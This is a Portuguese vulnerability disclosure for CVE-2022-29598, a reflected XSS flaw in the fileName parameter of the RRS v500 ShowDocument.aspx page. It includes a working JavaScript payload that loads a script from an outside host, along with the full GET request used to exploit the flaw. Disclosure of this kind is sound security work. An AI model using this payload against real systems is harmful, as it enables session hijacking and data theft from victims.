
A aplicação RRS v500 é vulnerável a uma vulnerabilidade de Cross-Site Scripting (XSS) refletido.
URL Mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29598
URL NIST: https://nvd.nist.gov/vuln/detail/CVE-2022-29598
A aplicação RRS v500 da Solutions Atlantic é vulnerável a uma vulnerabilidade de Cross-Site Scripting (XSS) refletido. A exploração de uma vulnerabilidade de XSS pode permitir que um adversário se passe pelo usuário vítima, divulgue dados confidenciais ou execute ações que o usuário vítima tem permissão de realizar.
O parâmetro fileName foi identificado como aceitando entrada do usuário e refletindo-a na resposta do servidor. Embora alguma filtragem e sanitização da entrada do usuário tenham sido realizadas antes da reflexão, como a codificação de alguns caracteres especiais (símbolos de maior/menor que), como a reflexão ocorria em um contexto JavaScript, era possível injetar código JavaScript na resposta do servidor, contornando as restrições.
URL afetada:
/RRSWeb/maint/ShowDocument/ShowDocument.aspxPayload XSS usado:
javascript:var%20x=document.createElement("script");x.src="https://thegetch.github.io/x";document.body.appendChild(x)';//URL afetada:
/RRSWeb/maint/ShowDocument/ShowDocument.aspxO aplicativo tem a capacidade de vincular sites externos. Ao selecionar um link para o site externo, uma solicitação para /RRSWeb/maint/ShowDocument/ShowDocument.aspx é feita com dois parâmetros: fileName, que conterá a URL do site externo para o qual o redirecionamento deve ocorrer, e requestType, que terá o valor ExternalLink. Desde que o parâmetro requestType esteja definido com seu valor padrão, qualquer coisa que o usuário inserir no parâmetro fileName será refletida em um contexto JavaScript, especificamente dentro de um window.location.href. Usando um payload XSS com uma diretiva JavaScript, um ataque de XSS refletido bem-sucedido pode ocorrer.
Requisição GET com payload XSS:
GET /RRSWeb/maint/ShowDocument/ShowDocument.aspx?requestType=ExternalLink&fileName=javascript:var%20x=document.createElement("script");x.src="https://thegetch.github.io/x";document.body.appendChild(x)';// HTTP/1.1
Host: <REDACTED>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Referer: http://<REDACTED>/RRSweb/default.aspx
Cookie: ASP.NET_SessionId=<REDACTED>
Upgrade-Insecure-Requests: 1
Content-Length: 0
Resposta do servidor:

Renderizado no navegador:

Abril de 2022